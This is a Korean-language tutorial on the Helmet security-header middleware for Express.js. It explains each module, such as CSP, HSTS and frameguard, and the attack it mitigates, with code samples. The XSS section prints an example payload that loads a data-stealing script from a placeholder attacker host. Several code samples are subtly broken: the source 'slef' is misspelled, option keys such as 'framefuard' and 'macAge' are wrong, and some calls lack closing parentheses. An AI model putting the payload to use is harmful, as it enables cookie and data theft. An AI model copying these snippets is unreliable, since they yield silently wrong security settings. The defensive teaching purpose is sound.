Helmet

helmet은 일부 HTTP 응답 헤더를 설정하는데 도움이 되는 13개의 미들웨어 기능을 모아놓은 것 입니다.

1. 설치하기

npm install helmet --save

2. 사용하기

헤더가 확실하게 설정되로록 미들웨어 스택의 앞부분에 사용하는 것이 가장 좋다. 익스프래스 3을 사용하는 경우, app.router 전에 미들웨러를 나열해야 합니다.

const express = require("express");
const helmet = require("helmet");

const app = express();

app.use(helmet());

개별적으로 사용할 수도 있다.

app.use(helmet.noCache());
app.use(helmet.frameguard());

default로 실행되는 미들웨어를 사용하지 않도록 설정할 수 있다.

app.use(
  helmet({
    frameguard: false,
  })
);

미들웨어에 대한 옵션을 설정할 수 있습니다. 이와 같은 설정 옵션에는 미들웨어가 기본값인지 관계없이 항상 포함되어 있다.

app.use(
  helmet({
    framefuard: {
      action: "deny",
    },
  })
);

3. Modules

Module Description Include by default
contentSecurityPolicy Setting Content Security Policy
dnsPrefetchControl Controls browser DNS prefetching YES
expectCt Handling Certificate Transparency
featurePolicy Limit your site’s features
frameguard Prevent clickjacking YES
hidePoweredBy Remove the X-Powered-By header YES
hsts HTTP Strict Transport Security YES
ieNoOpen Sets X-Download-Options for IE8+ YES
noSniff Keep clients from sniffing the MIME type YES
permittedCrossDomainPolicies Handling Adobe products’ crossdomain requests
referrerPolicy Hide the Referer header
xssFilter Adds some small XSS protections YES

Content Security Policy

CSP 모듈은 악의적인 Javascript, Css 또는 plubins등의 주입을 막는 Content-Security-Policy 헤더를 설정한다. 브라우저는 기본적으로 페이지에서 요청하는 모든 코드를 다운로드하여 실행한다. 하지만 CSP를 설정함으로써 브라우저에게 어떠한 조건의 리소스만 실행하거나 렌더링 하라고 지시를 내릴 수 있다.

공격

해커는 당신의 웹 페이지에 무언가를 올릴 수 있다면, 많은 악행을 할 수 있다. 가장 끔찍한 공격은 아마 당신의 페이지에 악의적인 Javascript를 올리는 cross-site scripting (XSS)일 것이다. 만약 내가 덩신의 페이지에서 Javascript를 실행할 수 있다면, 나는 인증 쿠키나 사용자 로그를 훔치는것과 같은 많은 악행들을 저지를 수 있다.

Javascript를 실행할 수 없어도 공격자가 할 수 있는 것은 많다. 만약 내가 당신의 사이트에 아주 작은 1*1의 투명 이미지를 넣을 수 있다면, 나는 당신의 사이트가 얼마나 많은 트래픽을 받는지 알 수 있을 것이다. 또한 플래시와 같은 취약한 브라우저 플러그인을 실행할 수 있다면, 나는 그 결함을 이용하여 당신이 원치 않는 일을 할 수 있을 것이다.

CSP는 특정한 공격을 막기 위한 것이 아니다. 이것의 목적은 당신이 기대하지 않는 그 어떤 것도 여러분의 웹 페이지에 올라갈 수 없게 하는 것이다.

Directives

Helmet의 csp 모듈은 Content Security Policies 설정을 도와준다.

const csp = require("helmet-csp");

app.use(
  csp({
    directives: {
      defaultSrc: ["'self'", "default.com"],
      scriptSrc: ["'slef'", "'unsafe-inline'"],
      sandbox: ["allow-forms", "allow-scripts"],
      reportUri: "/report-violation",
      objectSrc: ["'none'"],
      upgradeInsecureRequests: true,
      workerSrc: false, // This is not set.
    },
  })
);

각 지시문에는 다음 키워드를 선택 적용할 수 있다.

keyword description
none 어떳 것도 허용하지 않습니다
self 현재 출처에서는 허용하지만 하위 도메인에서는 허용되지 않습니다
unsafe-inline 인라인 자바스크립트, 인라인 스타일을 허용합니다
unsafe-eval eval과 같은 텍스트 자바스크립트 메커니즘을 허용합니다

다음과 같은 directives를 지원합니다.

kebab-cased camel-cased description
base-uri baseUri document의 <base> 요소에 사용할 수 있는 URL을 제한
block-all-mixed-content blockAllMixedContent HTTPS를 사용하여 페이지가 로드될 때 HTTP를 사용하여 asset을 로드하는 것을 방지
child-src childSrc <frame>이나 <iframe>과 같은 요소를 사용하여 로드된 웹 작업자나 내포된 검색 컨텍스트에서 가능한 소스를 정의
connect-src connectSrc 스크립트 인터페이스를 사용하여 로드할 수 있는 URL 제한
default-src defaultSrc 다른 fetch directive들의 fallback으로 제공됨
font-src fontSrc @font-face를 사용하여 로드할 수 있는 소스를 지정
form-action formAction 지정된 컨텍스트에서 제출 대상으로 사용될 수 있는 URL을 제한
frame-ancestors frameAncestors <frame>, <object>, <embed> 혹은 <applet>을 사용하여 임베디드 될 페이지의 부모를 지정
frame-src frameSrc <frame><iframe>과 같은 요소를 사용하여 내포된 검색 컨텍스트를 로드하는데 사용 가능한 소스를 지정
img-src imgSrc 가능한 이미지와 favicon 소스 지정
manifest-src manifestSrc 가능한 manifest 소스 지정
media-src mediaSrc <audio>, <video>, <track> 요소들을 사용하여 로드할 수 있는 가능한 소스를 지정
object-src objectTypes <object>, <embed>, 그리고 <applet>
plugin-types pluginTypes 로드할 수 있는 리소스 타입들을 제한하여 document에 포할될 수 있는 플러그인 설정을 제한
prefetch-src prefetchSrc prefetch 혹은 prerendered될 수 있는 소스들을 지정
report-to reportTo SecurityPolicyViolationEvent 실행
report-uri reportUri 컨턴츠 보안 정책 위반 시도를 보고하도록 user agent에 지시. 보고서는 HTTP POST 요청을 통해 지정된 URI로 JSON 문서로 전송
require-sri-for requireSriFor 페이지의 스크립트나 스타일에 SRI 사용을 요청
sandbox sandbox <iframe> sandbox 속성과 유사하게 리소스 요청에 대한 샌드박스 활성화
script-src scriptSrc 가능한 javascript 소스 지정
style-src styleSrc 가능한 style 소스 자정
upgrade-insecure-requests upgradeInsecureRequests 사이트의 모든 불안정한 URL(HTTP)들을 보안 URL(HTTPS)로 교체한 것처럼 처리하도록 use agent에 지시
worker-src workerSrc 가능한 Worker, SharedWorker, ServiceWorker 소스 지정
CSP 위반

만약 reportUri를 지정했다면, 브라우저는 모든 CSP 위반을 서버로 POST 할겁니다.

app.use(
  bodyParser.json({
    type: ["json", "application/csp-report"],
  })
);

app.post("/report-violation", (req, res) => {
  if (req.body) {
    console.log("CSP violation: ", req.body);
  } else {
    console.log("CSP Violation: No data received!");
  }

  res.status(204).end();
});

모든 브라우저가 같은 방식으로 CSP 위반을 보내는 것이 아니여서, 약간의 작업이 필요할 수 았습니다.

만약 CSRF 모듈을 사용하고 있다면, CSRF 토큰 없이는 문제가 있을 수 있다. 이를 해결하기 위해서는 CSP 보고 경로를 CSRF 미들웨어 두면 됩니다..

이 모듈의 reportOnly 옵션은 헤더의 Content-Security-Policy-Report-Only를 변환합니다. 이는 브라우저가 위반 사항을 URI로 보고하도록 지시하지만, 리소스가 로드되는 것은 차단하지는 않는다.

app.use(csp({
  directives: {
    // ...
  },
  reportOnly: true
})

reportOnly 모드를 사용할지 여부를 동적으로 결정할 수 있습니다. 동적 kill switch는 request와 response 객체와 함꼐 호출되며 boolean을 반환합니다.

app.use(csp({
  directives: {
    // ...
  },
  reportOnly: (req, res) => req.query.cspmode === 'debug'
})
Browser Sniffing

기본적으로 이 모듈은 들어오는 User-Agent를 보고 탐지된 브라우저에 따라 다른 헤더를 전송합니다. 예를 들어, Chrome 25 이전 버전은 X-WebKit-CSP라는 대체 헤더를 사용하며, 이 모듈이 이를 처리합니다. 브라우저가 감지되지 않으면, 이 모듈은 2.0 사양으로 모든 헤더를 설정합니다. 이런 Browser Sniffing을 사용하지 않도록 설정하고 최신 브라우저로 성정하려면 browserSniff 옵션을 false로 설정하십시오.

app.use(csp({
  directives: {
    // ...
  },
  browserSniff: false
})

legacy 헤더를 포함하여 모든 헤더를 true로 설정하려면 setHeaders 옵션을 true로 설정하십시오. 이렇게하면 User-Agnet에 기반한 헤더의 값이 변경된다는 점에 유의하십시오.

app.use(csp({
  directives: {
    // ...
  },
  setAllHeaders: true
})

오래된 안드로이드 브라우저는 버그가 생길 수 있으므로 디폴트가 false입니다.

app.use(csp({
  directives: {
    // ...
  },
  disableAndroid: true
})
Generating nonces

<script>를 안전하게 평가하기 위해서 nonce를 동적으로 생성할 수 있습니다.

app.use(function (req, res, next) {
  res.locals.nonce = uuidv4();
  next();
});

app.use(
  csp({
    directives: {
      scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
    },
  })
);

app.use(function (req, res) {
  res.end(`<script nonce="${res.locals.nonce}">alert(1 + 1);</script>`);
});
Using CSP with a CDN

CSP는 기본적으로 페이지를 요청하는 브라우저에 맞춰 헤더를 생성합니다.만약 앞에서 CDN을 사용하고 있다면 잘못된 헤더를 캐시하여 CSP를 쓸모 없게 만듭니다. 이럴 경어 CDN 사용을 피하거나 browserSnifffmf false로 설정하세요.

DNS Prefetch Control

X-DNS-Prefetch-Control 헤더를 설정하여 브라우저의 DNS 프리페치를 비활성화할 수 있습니다.

공격

URL을 방물할 때 브러우저는 IP 주소를 검색해야 한다. 이 과정을 DNS라 합니다. 브라우저는 사용자가 링크를 클릭하거나 어딘가에서 리소스를 로드하기 전에 이러한 DNS 요청을 시작할 수 있습니다. 아것은 사용자가 방문하지 않은 것을 방문한 것처럼 보일 수 있습니다.

헤더

X-DNS-Prefetch-Control헤더는 브라우저에서 DNS 프리페치를 수행해야 하는지 여부를 알려준다. 모든 부라우저가 모든 상황에서 이것을 지원하지는 않지만, 이것을 끄면 지원하는 모든 부라우저에서 불가능하게 할 수 있다. 대부분의 브라우저는 DNS 프리페치를 수행하지 않으므로 이 헤더를 무시할 수 있습니다.

const helmet = require("helmet");

app.use(helmet.dnsPrefetchControl());
const dnsPrefetchControl = require("dns-prefetch-control");

// Sets "X-DNS-Prefetch-Control: off".
app.use(dnsPrefetchControl());

// Sets "X-DNS-Prefetch-Control: off".
app.use(dnsPrefetchControl({ allow: false }));

// Sets "X-DNS-Prefetch-Control: on".
app.use(dnsPrefetchControl({ allow: true }));

Expect-CT

HPKP를 데체하여 서버 관리자는 Expext-CT 헤더를 사용할 수 있습니다. Expect-CT 헤더를 사용하면 해당 웹 사이트에 오발급된 인증서를 사용하지 않도록 방지할 수 있습니다. 이 기능을 사용하게 되면 브라우저는 웹사이트의 인증서가 CT 로그에 존재하는지 확인하게됩니다.

key required description
max-age YES 브라우저가 Expect-CT 설정을 캐시하는 시간을 나타내며 초 단위로 입력해야 합니다.
reoirt-uri 유효하는 CT 정보를 얻지 못하면 브라우저가 보고서를 보내는 곳을 나타내며 URI로 입력해야 합니다.
enforce 보고서만 보낼지, 아니면 설정된 값에 위반되는지를 방문자에게 알립니다.
const expectCt = require("expect-ct");

app.use(
  expectCt({
    enforce: true,
    macAge: 30,
    reportUri: "http://example.com/report",
  })
);

Feature-Policy

브러우저가 사용할 수 있는 기능을 제한합니다. 예를 들어 풀 스크린이나 vibration API들이 있다.

공격

코드의 표면적을 제한하는 것은 좋은 생각입니다. 적다는건 공격할게 적다는 것을 의미하기도 합니다. 웹 브라우저들은 진동, 전체 화면, 마이크 접속 등에서 많은 차이점을 가지고 있습니다. 이것들은 매우 유용한 반면에 모든 스크립트를 사용하고 싶지 않을 수 있다.

헤더

Feature-Policy 헤더는 브라우저에서 사용할 수 있는 기능을 알려준다.

Feature-Policy: notifications 'none'; payments example.com
코드
const helmet = require("helmet");

app.use(
  helmet.featurePolicy({
    features: {
      fullscreen: ["'self'"],
      vibrate: ["'none'"],
      payment: ["example.com"],
      syncXhr: ["'none'"],
    },
  })
);
const featurePolicy = require("feature-policy");

app.use(
  featurePolicy({
    features: {
      vibrate: ["'self'"],
      syncXhr: ["'none'"],
    },
  })
);

Frameguard

X-Frame-Options 헤더를 설정하여 클릭재킹 공격을 완화합니다.

공격

클릭재킹 공격은 꽤 영립합니다. 공격자는 여러분이 실제로 클릭하고 싶지 않은 것을 클릭하기 원하며, 링크 버튼을 숨겨서 당신을 속여 클릭하게 만듭니다.

헤더

X-Frame-Options 레더는 브라우저가 당신의 웹 페이지를 iframe에 넣지 않도록 지시합니다. 브라우저가 iframe을 로드할 때, X-Frame-Options 헤더 값을 확인하고 허용되지 않으면 로딩을 중단합니다.

  1. X-Frame-Options: DENY: 누구도 이 페이지를 iframe에 넣지 못합니다.
  2. X-Frame-Options: SAMEORIGIN: 같은 origin을 제외한 누구도 이 페이지를 iframe에 넣지 못합니다.
  3. X-Frame-Options: ALLOW-FROM http://example.com: 해당 사이트를 제외한 누구도 이 페이지를 iframe에 넣지 못합니다.
코드
const frameguard = require("frameguard");

app.use(frameguard({ action: "deny" }));

app.use(frameguard({ action: "sameorigin" }));
app.use(frameguard()); // defaults to sameorigin

app.use(
  frameguard({
    action: "allow-from",
    domain: "http://example.com",
  })
);

Hide Powered-By

X-Powered-By 헤더를 제거하여 사이트의 잠재적 취약점을 파악하기 조금 어렵게 만듭니다.

공격

해커들은 당신이 Express와 Node를 사용하는것을 안다면, 이것들의 잘 알려진 취약점을 이용할 수 있습니다. Express는 모든 request에 X-Powered-By헤더를 설정해서 무슨 기술로 서버가 돌아가는지를 나타냅니다. 해커들은 이것을 이용할 수 있습니다. 만약 그들이 Express나 Node의 취약점을 알고 있고, Express-powered를 볼 수 있다면, 그들의 타겟이 되기 쉽습니다.

해결

해결책은 단순히 헤더를 제거하는 겁니다. 솔직히 말하자면, 마음 먹은 해커가 이 헤더를 보지 못한다고 포기하지는 않을 것이다. 이들은 다른 단서를 보고 당신이 Node를 쓰고 있다는 것을 찾아낼 수 도 있고, 아니면 단순히 많은 공격을 시도하고 먹히는 방법을 찾아 낼 수도 있을 것입니다. 단순히 이 헤더를 생략하는 것이 취약점을 이용할 수 없다는게 아닙니다. 하지만 이것을 조금 늦추거나, 게으른 헤커를 단념시킬 수 있습니다. 또한 헤더를 제거하면 바이트 수가 줄기 때문에 아주 약간의 성능적 이점도 있습니다.

코드
app.disable("x-powered-by");
const hidePoweredBy = require("hide-powered-by");

app.use(hidePoweredBy());

app.use(helmet.hidePoweredBy({ setTo: "PHP 4.2.0" }));

HSTS

유저들을 HTTPS 상에 유지시키기 위해서 Strict-Transport-Security 헤더를 설정합니다.

공격

HTTPS는 항상 완벽하지는 않지만 안전한 프로토콜입니다. 반면에 HTTP는 끔찍합니다. "Vanilla" HTTP 유저들은 중간자 공격에 취약하며 암호화여 전송하지 않습니다.

헤더

Strict-Transport-Security HTTP 헤더는 브라우저에게 HTTPS를 고수하고 블안전한 HTTP 버전을 절대 방문하지 말라고 지시합니다. 브라우저가 이 헤더를 보면, 60일동안 HTTPS만을 사용하여 사이트를 방문합니다.

Strict-Transport-Security: max-age=5184000

헤더는 HTTP 사용자에게 HTTPS로 전환하라고 말하지 않고, HTTPS 사용자에게 계속 남아 있으라고만 말합니다.

코드
const hsts = require("hsts");

const sixtyDaysInSeconds = 5184000;
app.use(
  hsts({
    maxAge: sixtyDaysInSeconds,
  })
);
Including subdomains

includeSubDomainsdefault로 포함되어있다. 제외하려면 false로 설정하세요.

app.use(
  helmet.hsts({
    maxAge: sixtyDaysInSeconds,
    includeSubDomains: false,
  })
);
Preloading HSTS in Chrome

일부 브라우저는 사이트의 HTST를 브라우저에서 구어지게 제출할 수 있게 해줍니다. 다음과 같이 preload를 헤더에 추가할 수 있습니다. 당신의 자신의 자격을 확인하거나 hstspreload.org에 사이트를 제출할 수 있습니다.

app.use(
  helmet.hsts({
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  })
);

IE No Open

X-Download-Options를 설정해서 Internet Explorer가 사이트의 context를 다운로드하는 걸 막는다.

공격

이 공격은 오래된 버전의 Internet Explorer에만 영향을 미칩니다. 기본적으로 오래된 버전의 Internet Explorer는 이러한 HTML 파일들을 열도록 허용합니다. 일부 웹 애플리케이션은 신뢰할 수 없는 HTML 다운로드할 수 있게 제공합니다. 일반적으로, 오래된 Internet Explorer는 이러한 HTML을 사이트 컨텍스트에서 열 수 있게 해주며, 이는 매우 위험합니다.

헤더

X-Download-Options 헤더를 noopen으로 설정 할 수 있다. 이는 오래된 버저의 Internet Explorer에서 악성 HTML을 사이트 context에서 실행시키기 위해 다운 받는 것을 막아줍니다.

코드
const ieNoOpen = require("ienoopen");

app.use(ieNoOpen());

noSniff

noSniff(Don't Sniff Mimetype 미들웨어)는 브라우저가 보안에 영향을 미칠 수 있는 MIME 타입 유형을 추측(sniff)하는 것을 방지합니다. X-Content-Type-Options 헤더를 nosniff로 설정하여 수행합니다.

공격

Mime 타입들은 보여지는 파일의 종류를 결정하는 방법이다. PNG 이미지는 image/png, JSON 파일은 application/json, Javascript 파일은 일반적으로 text/javascript 타입을 갖습니다. 브라우저는 파일을 로드할 때 서버의 Content-Type 헤더를 읽어서 파일이 무엇인지 판단합니다. 만약 Javascript를 text/htmlContent-Type으로 보내고, 브라우저가 'MIME sniffing'이라 불리는 작업을 수행하면, 파일의 내용을 보고 Javascript면 그대로 실행합니다. 이 말은 서버가 잘못된 Content-Type을 보내도, Javascript가 실행 될 수 있다는 겂니다.

이런 MIME snffing 공격은 백터가 될 수 있습니다. 공격자가 .jpg 파일 확장자로 이미지를 업로드하지만 실제로 그 내용은 html일 수 있다. 이 이미지를 방문하면 브라우저가 html파일을 실행할 수 있고, 여기에는 악성 Javascript가 있을 수 있다! 아마 가장 끔찍한 공격은 데이터 대신 악성 플래시 플러그인을 로드하는 Roestta Falsh라 불리는 공격일 것입니다.

헤더

X-Content-Type-Options 헤더는 브라우저에 MIME 유형을 감지하지 말라고 지시합니다. 이 헤더가 nosniff로 설정되면, 브라우저는 서버의 말을 신뢰하고 잘못된 경우 리소스를 차단합니다.

코드
const noSniff = require("dont-sniff-mimetype");

app.use(noSniff());

X-Permitted-Cross-Domain-Policies

헬멧의 crossdomain 디들웨어는 Adobe Flash와 Adove Acrobat이 콘텐츠를 사이트에 업로드 한는 것을 막습니다.

공격

Adove Flash나 Adobe Acrobat에서 사이트가 다르더라도 당신의 도메인을 콘텐츠로 로드할 수 있습니다. 이것은 드문 경우로 예상치 못한 데이터 공개나 대역폭 사용의 원인이 될 수 있습니다.

헤더

X-Permited-Cross-Domain-Policies 헤더는 플래시나 Acrobat 같은 클라이언트에서 cross-domain 정책을 알려줍니다. 도메인의 데이터를 로드시키고 싶지 않으면 헤더를 설정해야 합니다.

X-Permitted-Cross-Domain-Policies: none
코드
const permittedCrossDomainPolicies = require("helmet-crossdomain");

app.use(permittedCrossDomainPolicies()); // none
app.use(permittedCrossDomainPolicies({ permittedPolicies: "master-only" }));
app.use(permittedCrossDomainPolicies({ permittedPolicies: "by-content-type" }));
app.use(permittedCrossDomainPolicies({ permittedPolicies: "all" }));

Referrer Policy

이 모듈은 Referrer-Policy 헤더를 설정하여 Referer 헤더의 동작을 제어할 수 있습니다.

공격

Referer HTTP 헤더는 일반적으로 서버의 출처를 알리기 위해 브라우저가 설정합니다. 예를 들어 wikipedia.org으로 이동하는 링크를 클릭하면 위키피디아 서버는 Referer: example.com을 볼 수 있다.

헤더

새로운 Referrer-Policy HTTP 헤더는 브라우저가 Referer 헤더를 설정하는 것을 제어할 수 있게 해줍니다.

Referrer-Policy: no-referrer

origin이 같은 페이지에서만 Referer 헤더를 보낼 수 있다.


Referrer-Policy: same-origin
코드
const referrerPolicy = require("referrer-policy");

// Sets "Referrer-Policy: no-referrer".
app.use(referrerPolicy());
app.use(referrerPolicy({ policy: "no-referrer" }));
// Sets "Referrer-Policy: same-origin".
app.use(referrerPolicy({ policy: "same-origin" }));
// Sets "Referrer-Policy: unsafe-url".
app.use(referrerPolicy({ policy: "unsafe-url" }));
// Sets "Referrer-Policy: no-referrer,unsafe-url"
app.use(
  referrerPolicy({
    policy: ["no-referrer", "unsafe-url"],
  })
);

XSS Filter

X-XSS-Protection 헤더를 설정하여 XSS 공격을 방지합니다.

공격

Cross-site scripting(XSS)는 공격자가 웹 페이지를 탈취할 수 있는 방법입니다. 이 공격의 목적은 희생되는 브라우저의 Javascript의 제어를 가져오는 것 입니다. 헤커가 이를 성공하면, 당신의 행동을 기록하거나, 당신으로 위장하거나, 인증 쿠키들을 훔치는등 수 많은 나쁜 일일 할 수 있습니다. Refelcted XSS는 XSS 공격중 하나입니다. 일반적으로, HTML에 직접 입력하는 쿼리 문자열에 Javascript를 넣어 작동합니다. 삽입된 Javascript는 공격자가 누군가에게 악의적인 쿼리 문자열을 제공하여 그들의 Javascript를 실행할 수 있게 해줍니다. 예를 들어, Goobar라는 검색 엔진을 가동중이라고 합시다. 검색할때마다 결과 위에 검색어가 표시됩니다. "javscript jokes"를 검색했다고 합시다. 검색하면 전체 URL은 다음과 같다.

https://goober.example.com/search?query=javascript+jokes

만약 <script src="http://evil.example.com/steal-data.js"></script>라고 검색하면 전체 URL은 다음과 같다.

https://goober.example.com/search?query=<script%20src="http://evil.example.com/steal-data.js"></script>
헤더

이 헤더는 모든 XSS 공격을 막아주지는 않습니다. 몇몇 종류만을 막아주며, 다른 완화 조치들이 훨씬 좋습니다. 단순 Reflected XSS 공격을 브라우저가 감지하는 것은 비교적 간단합니다. 위의 예에서, 브라우저는 쿼리 문자열과 동일한 경우 <sciprt>안의 ㅓavascript를 싱행시키지 않도록 선택할 수 있습니다. 어떤 브라우저는 기본적으로 이를 감지하지만, 그렇지 않은 브라우저도 있습니다. 이러한 브라우저가 이 단순한 케이스를 확인하도록 하려면 X-XSS-Protection 헤더를 1; mode=block로 설정해야 합니다.

이 헤더는 오래된 버전의 Internet Explorer에서는 후러씬 심각한 보안 취약성을 유발하기에, 여기서는 사용하지 않는 것이 현명합니다.

코드
const xssFilter = require("x-xss-protection");

app.use(xssFilter());

모든 버전의 IE에서 사용을 강제하고 싶을때는 다음과 같이 합니다.

app.use(xssFilter({ setOnOldIE: true }));

크롬 베이스 브라우저에서는, Report URI를 설정할 수도 있습니다.

app.use(xssFilter({ reportUri: "/report-xss-violation" }));

modenull로 설정할 수도 있습니다.

app.use(xssFilter({ mode: null }));

4. 출처